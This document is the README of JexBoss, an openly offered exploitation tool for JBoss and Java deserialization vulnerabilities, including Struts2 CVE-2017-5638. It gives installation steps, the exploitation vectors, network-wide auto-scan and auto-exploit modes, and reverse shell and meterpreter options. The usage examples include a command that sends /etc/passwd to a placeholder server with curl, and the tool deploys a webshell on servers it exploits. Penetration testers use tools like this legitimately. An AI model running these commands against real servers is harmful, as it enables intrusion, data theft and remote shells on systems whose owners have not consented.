CVE-2020-23620: GitHub - joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool

JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool

JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.

Requirements

• Python >= 2.7.x
• urllib3
• ipaddress

Installation on Linux\Mac

To install the latest version of JexBoss, please use the following commands:

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

OR:

Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

If you are using CentOS with Python 2.6, please install Python2.7. Installation example of the Python 2.7 on CentOS using Collections Software scl:

yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Installation on Windows

If you are using Windows, you can use the Git Bash to run the JexBoss. Follow the steps below:

• Download and install Python

• Download and install Git for Windows

• After installing, run the Git for Windows and type the following commands:

  PATH=$PATH:C:\Python27\
  PATH=$PATH:C:\Python27\Scripts
  git clone https://github.com/joaomatosf/jexboss.git
  cd jexboss
  pip install -r requires.txt
  python jexboss.py -h
  python jexboss.py -host http://target_host:8080
  

Features

The tool and exploits were developed and tested for:

• JBoss Application Server versions: 3, 4, 5 and 6.
• Java Deserialization Vulnerabilities in multiple java frameworks, platforms and applications (e.g., Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), etc)

The exploitation vectors are:

• /admin-console
  • tested and working in JBoss versions 5 and 6
• /jmx-console
  • tested and working in JBoss versions 4, 5 and 6
• /web-console/Invoker
  • tested and working in JBoss versions 4, 5 and 6
• /invoker/JMXInvokerServlet
  • tested and working in JBoss versions 4, 5 and 6
• Application Deserialization
  • tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
• Servlet Deserialization
  • tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an “Invoker” in a link)
• Apache Struts2 CVE-2017-5638
  • tested in Apache Struts 2 applications
• Others

Videos

• Exploiting Java Deserialization Vulnerabilities (RCE) on JSF/Seam Applications via javax.faces.ViewState with JexBoss

• Exploiting JBoss Application Server with JexBoss

• Exploiting Apache Struts2 (RCE) with Jexboss (CVE-2017-5638)

Screenshots

• Simple usage examples:

• Example of standalone mode against JBoss:

  $ python jexboss.py -u http://192.168.0.26:8080

• Usage modes:

• Network scan mode:

  $ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

• Network scan with auto-exploit mode:

  $ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

• Results and recommendations:

Reverse Shell (meterpreter integration)

After you exploit a JBoss server, you can use the own jexboss command shell or perform a reverse connection using the following command:

   jexremote=YOUR_IP:YOUR_PORT

   Example:
     Shell>jexremote=192.168.0.10:4444

• Example:

When exploiting java deserialization vulnerabilities (Application Deserialization, Servlet Deserialization), the default options are: make a reverse shell connection or send a commando to execute.

Usage examples

• For Java Deserialization Vulnerabilities in a custom HTTP parameter and to send a custom command to be executed on the exploited server:

  $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd ‘curl -d@/etc/passwd http://your_server’

• For Java Deserialization Vulnerabilities in a custom HTTP parameter and to make a reverse shell (this will ask for an IP address and port of your remote host):

  $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name

• For Java Deserialization Vulnerabilities in a Servlet (like Invoker):

  $ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize

• For Apache Struts 2 (CVE-2017-5638)

  $ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2

• For Apache Struts 2 (CVE-2017-5638) with cookies for authenticated resources

  $ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies “JSESSIONID=24517D9075136F202DCE20E9C89D424D”

• Auto scan mode:

  $ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log

• File scan mode:

  $ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log

• More Options:

  optional arguments: -h, --help show this help message and exit –version show program’s version number and exit –auto-exploit, -A Send exploit code automatically (USE ONLY IF YOU HAVE PERMISSION!!!) –disable-check-updates, -D Disable two updates checks: 1) Check for updates performed by the webshell in exploited server at http://webshell.jexboss.net/jsp_version.txt and 2) check for updates performed by the jexboss client at http://joaomatosf.com/rnp/releases.txt -mode {standalone,auto-scan,file-scan} Operation mode (DEFAULT: standalone) –app-unserialize, -j Check for java unserialization vulnerabilities in HTTP parameters (eg. javax.faces.ViewState, oldFormData, etc) –servlet-unserialize, -l Check for java unserialization vulnerabilities in Servlets (like Invoker interfaces) –jboss Check only for JBOSS vectors. –jenkins Check only for Jenkins CLI vector. –jmxtomcat Check JMX JmxRemoteLifecycleListener in Tomcat (CVE-2016-8735 and CVE-2016-8735). OBS: Will not be checked by default. –proxy PROXY, -P PROXY Use a http proxy to connect to the target URL (eg. -P http://192.168.0.1:3128) –proxy-cred LOGIN:PASS, -L LOGIN:PASS Proxy authentication credentials (eg -L name:password) –jboss-login LOGIN:PASS, -J LOGIN:PASS JBoss login and password for exploit admin-console in JBoss 5 and JBoss 6 (default: admin:admin) –timeout TIMEOUT Seconds to wait before timeout connection (default 3)

  Standalone mode: -host HOST, -u HOST Host address to be checked (eg. -u http://192.168.0.10:8080)

  Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER): –reverse-host RHOST:RPORT, -r RHOST:RPORT Remote host address and port for reverse shell when exploiting Java Deserialization Vulnerabilities in application layer (for now, working only against *nix systems)(eg. 192.168.0.10:1331) –cmd CMD, -x CMD Send specific command to run on target (eg. curl -d @/etc/passwd http://your_server) –windows, -w Specifies that the commands are for rWINDOWS System$ (cmd.exe) –post-parameter PARAMETER, -H PARAMETER Specify the parameter to find and inject serialized objects into it. (egs. -H javax.faces.ViewState or -H oldFormData (<- Hi PayPal =X) or others) (DEFAULT: javax.faces.ViewState) –show-payload, -t Print the generated payload. –gadget {commons-collections3.1,commons-collections4.0,groovy1} Specify the type of Gadget to generate the payload automatically. (DEFAULT: commons-collections3.1 or groovy1 for JenKins) –load-gadget FILENAME Provide your own gadget from file (a java serialized object in RAW mode) –force, -F Force send java serialized gadgets to URL informed in -u parameter. This will send the payload in multiple formats (eg. RAW, GZIPED and BASE64) and with different Content-Types.

  Auto scan mode: -network NETWORK Network to be checked in CIDR format (eg. 10.0.0.0/8) -ports PORTS List of ports separated by commas to be checked for each host (eg. 8080,8443,8888,80,443) -results FILENAME File name to store the auto scan results

  File scan mode: -file FILENAME_HOSTS Filename with host list to be scanned (one host per line) -out FILENAME_RESULTS File name to store the file scan results

Questions, problems, suggestions and etc:

• [email protected]